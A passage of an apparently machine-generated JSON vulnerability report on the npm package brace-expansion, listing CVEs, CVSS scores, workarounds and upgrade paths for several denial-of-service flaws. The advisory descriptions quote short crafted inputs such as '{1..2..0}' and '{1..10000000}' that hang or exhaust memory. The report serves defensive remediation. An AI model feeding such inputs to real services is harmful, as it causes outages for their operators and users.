"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, 